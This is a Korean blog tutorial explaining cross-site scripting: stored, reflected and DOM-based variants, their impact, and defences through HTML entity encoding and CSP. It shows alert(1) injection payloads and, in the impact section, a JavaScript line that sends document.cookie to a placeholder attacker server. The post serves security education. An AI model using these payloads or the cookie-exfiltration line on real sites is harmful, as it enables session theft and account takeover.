XSS(Cross-Site Scripting)란?

2024. 2. 5. 07:56보안, 해킹/웹

XSS란?

XSS란 Cross-Site Scripting의 약자로, 특정 사용자(공격자)가 다른 사용자(피해자)의 웹 리소스에 스크립트를 삽입하는 웹 해킹 공격을 의미한다. 여기서 스크립트라고 하면 웹 페이지가 로드되면서 클라이언트 측에서 실행되는 javascript를 의미한다.

 

웹 페이지를 제공할 때 간혹 동적인 작업을 요구하는 경우가 있다. 경고창 또는 오류창을 표시하거나, 사용자의 동작에 따라 다음 동작을 처리하는 등, 페이지의 상태에 따라 기능을 제공해야 하는 경우다. 이때 javascript는 클라이언트의 브라우저에서 동작하여 동적인 작업을 담당한다.

 

하지만 간혹 웹 페이지가 사용자의 입력값을 적절한 검증 없이 처리하는 경우 사용자가 임의로 스크립트를 페이지 내에 삽입할 수 있다. 그 결과로 다른 사용자(피해자)는 이러한 스크립트가 포함된 리소스를 받게 되고, 피해자의 브라우저는 리소스 내에 포함된 공격자의 스크립트를 실행하여 의도하지 않은 동작을 수행한다. 이러한 공격을 통칭하여 XSS라고 한다.


참고 - 웹 페이지의 구성

일반적으로 우리가 보는 웹 페이지는 HTML, CSS, Javascript에 의해 결정된다. 각각에 대해 설명하자면

  • HTML(HyperText Markup Language)

HTML은 웹 페이지의 뼈대에 해당한다. 페이지의 전체적인 구조를 정의할 때 사용한다.

  • CSS(Cascading Style Sheets)

CSS는 웹 페이지의 스타일을 담당한다. 글자의 색깔이나 모양, 배경 색상, 이미지의 크기나 위치 등을 CSS를 통해 결정한다.

  • JS(Javascript)

Javascript는 웹 페이지의 동작을 정의한다. 버튼을 클릭했을 때 어떤 동작을 수행할 지, 사용자의 데이터 입력을 어떻게 처리할 지 등을 구현할 수 있다.

 

아래는 HTML, CSS, JS의 간단한 예시이다.

<!DOCTYPE html>
<html> 
    <head>
        <style>
            h2 {color: blue;}
        </style>
        <title>Sample page</title>
    </head>
    <body>
        <h2>this is sample page</h2>
        <hr>
        <button type="button" onclick="textbox()">Click Me!</button>
        <script>
        function textbox() {
        	alert('hello');
        }
        </script>
    </body>
</html>

일반적으로 웹 페이지는 위와 같이 여러 가지 태그들로 구성이 된다. <style> 태그는 CSS, <script> 태그는 JS, 기타 나머지 태그는 HTML에 해당한다.

그리고 위 소스를 렌더링하면 다음과 같은 페이지가 나온다.

페이지 내의 글씨, 구분선, 버튼 등은 HTML에 의해 생성된 것들이다. 그리고 <h2> 태그의 내용이 파란색으로 적용되는 것은 CSS에 의해, 버튼을 눌렀을 때 hello라는 경고창이 뜨는 동작은 JS에 의해 결정된다.

 

이때 사용자가 웹 페이지의 특정 부분에 사용자의 입력값을 삽입할 수 있는 경우, 사용자가 태그 및 스크립트를 삽입했을 때에 발생하는 문제가 XSS이다.


XSS의 종류

앞에서 설명한 내용만 보면 스크립트를 대체 다른 사용자의 페이지에 어떻게 삽입한다는 건가 감이 안 잡힐 것이다. 스크립트 삽입 방식은 여러 가지가 있다. 그리고 스크립트의 삽입 방식에 따라 XSS의 종류가 총 세 가지로 나뉜다.

 

Stored XSS

직역하면 저장된 XSS. 저장된 데이터에 의해 발생하는 XSS 공격이다.

 

가장 간단한 예시로는 게시판이 있다. 공격자가 스크립트가 포함된 데이터를 게시물로 작성하면, 서버는 이 게시물을 DB에 저장한다. 문제는 사용자가 이 게시물을 열람하려고 할때 발생한다.

 

사용자가 게시물 열람을 요청하면 서버는 이를 DB에서 불러와 페이지에 표시한다. 일반적인 내용이라면 대략 이런 느낌일 것이다.

<p>안녕하세요 반갑습니다.</p>

 

하지만 게시물 내용에 스크립트를 쓰면?

<p><script>alert(1);</script></p>

 

만약에 웹 서비스 측에서 이를 따로 처리하지 않는다면, 게시물을 불러온 사용자의 브라우저에는 작성자가 삽입한 alert라는 스크립트 함수가 실행될 것이다.

 

Stored XSS란, 이렇게 서버에 저장된 데이터를 불러올 때 발생하는 XSS를 의미한다.

 

Reflected XSS

직역하면 반사된 XSS. 이렇게만 보면 뭔 소린가 싶은데, 컴퓨터 과학 분야에서 reflect라는 단어는 요청-응답 구조에서 사용되기도 한다. 이러한 맥락을 적용해 의역하면 요청-응답 구조에서 발생하는 XSS라고 볼 수 있다.

 

간혹 클라이언트의 요청이 서버의 응답에 그대로 포함되는 경우가 있다. 대표적인 예시로는 포털 사이트에서 검색을 했을 때이다.

검색을 시도한 검색어가 페이지 내용에 그대로 포함되는 예시. 물론 구글에서는 이걸로 XSS는 택도 없다.

 

검색어와 일치하는 검색결과가 존재하지 않을 때, 사용자가 입력한 검색어가 페이지에 표시되는 모습이다. 위와 같은 구조를 단순화하면 다음과 같다.

https://insecure-website.com/search?keyword=hello
<p>hello와 일치하는 검색결과가 없습니다.</p>

 

윗줄의 url에 해당하는 요청을 보내면 아랫줄의 내용이 서버의 응답에 있을 것이다. 하지만 검색어에 스크립트를 쓰면?

https://insecure-website.com/search?keyword=<script>alert(1);</script>
<p><script>alert(1);</script>와 일치하는 검색결과가 없습니다.</p>

 

 

만약 웹 서비스가 이를 따로 처리하지 않는다면 응답에 위와 같이 스크립트 태그가 삽입될 것이고, 해당 요청을 보낸 사용자의 브라우저에서 alert라는 스크립트 함수가 실행될 것이다.

 

그러면 피해자가 굳이 저런 요청을 보내지 않으면 그만 아닌가? 그렇기 때문에 Reflected XSS는 일반적으로 피싱 링크를 전송하는 형태로 공격이 이루어진다.

 

 

DOM based XSS

DOM이란 Document Object Model의 약자로, HTML이나 XML 문서의 각 항목을 계층으로 표현하여 생성, 변형, 삭제할 수 있도록 돕는 인터페이스이다. (라고 위키백과는 말한다.)

DOM에 대해 구체적으로 설명하긴 너무 길어지니 간단하게만 설명하면, HTML의 각 요소를 object처럼 간주하여 Javascript로 페이지 구조를 건드리겠다는 소리다. 이러한 HTML의 구조를 다루기 위한 인터페이스를 DOM 인터페이스라고 하고, 이러한 인터페이스의 취약점을 이용한 XSS를 DOM based XSS라고 한다.

 

예를 들어 아래와 같은 페이지 코드가 있다고 하자

<h2 id='title'>title</h2>

<script>
	var userInput = getUrlParameter('title');
	document.getElementById('title').innerHTML = userInput;
</script>

 

이때 h2 태그 안의 title이라는 내용은 url의 파라미터에 의해 바뀔 수 있다. 예시로 아래와 같은 url을 사용하면

https://insecure-website.com/board?title=hello

 

위의 title이라는 값은 hello라는 값으로 대체된다. 페이지 구조를 건드리는 innerHTML과 같은 DOM 인터페이스가 페이지 구조를 수정해버리기 때문이다.

이때 파라미터에 스크립트를 삽입하는 것이다.

https://insecure-website.com/board?title=<script>alert(1);</script>

 

그렇게 되면 h2 태그 안의 내용은 다음과 같이 변한다.

<h2 id='title'><script>alert(1);</script></h2>

 

이렇게 페이지 구조(DOM)를 건드리는 javascript의 취약점을 이용하여 스크립트를 삽입하는 방식을 DOM based XSS라고 한다.


참고 - 왜 하필 alert(1)이야?

눈치챈 경우도 있겠지만, 위에서 스크립트 삽입 예제를 보면 자꾸 alert(1)을 사용하는 것을 알 수 있다. alert(1)이란 함수는 단순히 1이라는 경고 메시지를 출력하는 건데 이게 대체 왜 문제가 되는 걸까?

 

이는 PoC(Proof of Concept)라고 하는데, 취약점이 발생한다는 것을 보여주기 위한 것이다. XSS같은 경우는 임의의 스크립트가 실행되는 것이 문제니 임의의 스크립트(여기서는 alert)를 실행시켜 취약하다는 것을 증명하는 것이다. 어떠한 스크립트라도 실행이 된다면, 정말 문제가 되는 악성 스크립트도 충분히 실행시킬 수 있기 때문이다.

 

굳이 alert인 이유는, 해커들 사이에서 alert를 띄우는 것이 XSS를 증명하는 일종의 관습이라 그렇다.


XSS의 영향

XSS라는 공격이 다른 사용자의 브라우저에서 스크립트를 실행시키는 것이라고는 했지만, 사실 alert같은 경고문구는 실행돼도 별 타격이 없다. (경고문구에 심한 욕설을 써서 사용자의 기분을 상하게 하는 거면 모를까.. 근데 그건 게시판에 글쓰는 것만으로도 할 수 있으니까.) 중요한 건 이 XSS라는 공격이 어떤 피해를 발생시킬 수 있느냐이다.

 

가장 문제가 되는 것은 쿠키 탈취이다. 쿠키에는 인증에 사용되는 토큰이나 세션ID 등이 저장될 수 있고, 그렇기 때문에 공격자에게 넘어갈 경우 계정 탈취, 개인정보 유출 등의 피해가 발생할 수 있다.

그런데 javascript에서는 document.cookie라는 것을 통해 이 쿠키값에 접근할 수 있다. 물론 스크립트가 실행된 브라우저의 쿠키값이다.

 

아래와 같은 스크립트를 살펴보자.

var i = new Image();
i.src = "https://attacker-server.com/?cookie=" + document.cookie;

 

위 스크립트의 표면적인 목적은 src의 주소에서 이미지를 가져오는 것이다. 하지만 src 부분을 자세히 보면 공격자의 서버 url에 쿠키값을 붙여 요청을 하려고 한다. 만약 XSS가 성공하여 피해자의 브라우저에서 위와 같은 스크립트가 실행된다면 본인도 모르는 사이에 공격자 서버로 쿠키값을 포함한 요청을 보내게 된다. 그리고 공격자는 서버로 오는 쿠키값을 받기만 하면 되는 것이다. (이미지를 불러오는 태그지만 공격자 입장에선 쿠키 딸린 요청만 오면 되니 상관없다.) 이를 통해 공격자는 쿠키에 포함된 인증 정보를 이용하여 피해자의 계정을 탈취할 수 있게 된다.

 

가장 대표적으로 쿠키 탈취를 예시로 들었지만, javascript도 나름 프로그래밍 언어기 때문에 생각보다 정말 다양한 동작이 가능하다. location.href라는 것을 통해 다른 페이지(예를 들어 피싱사이트)로 강제로 이동시킬 수도 있고, 경우에 따라서는 피해자가 의도하지 않은 요청을 보내는 CSRF(Cross Site Request Forgery)라는 공격에 사용될 수도 있다.

 

XSS의 방어

  • HTML Entity encoding

가장 확실한 방법은 스크립트 삽입에 사용되는 특수문자들을 HTML Entity로 치환하는 방법이다. 브라우저는 <, >등의 일부 문자를 HTML 코드의 일부로 인식해버린다. HTML Entity란 <, >와 같은 HTML에서 사용되는 문자를 사용하기 위해 별도로 만든 문자체계다. 예를 들어, &lt; &gt;는 페이지 내에서 <와 >로 표시가 된다.

XSS가 발생하는 원인은 사용자의 입력값이 HTML의 요소로 인식되기 때문이다. 따라서 사용자의 입력값이 표시되는 부분에서 XSS에 사용되는 <, >, (, ), ', " 등의 문자열을 HTML Entity로 치환하면 페이지 상에선 정상적으로 표시되고, HTML 코드상으로도 HTML로 인식되지 않을 수 있는 것이다.

 

  • CSP(Content Security Policy)

CSP란 콘텐츠 보안정책을 의미하는데, 보안을 위해 페이지 내에서 실행되는 동작을 일부 제한하는 것이다. 외부 컨텐츠의 출처(src)를 제한할 수도 있고, 스크립트에 랜덤 난수(nonce)를 추가하여 값이 일치하지 않는 스크립트의 실행을 제한할 수도 있다. 이를 통해 만에 하나 XSS 취약점이 존재하더라도 공격을 어렵게 만들고 피해를 줄일 수 있다.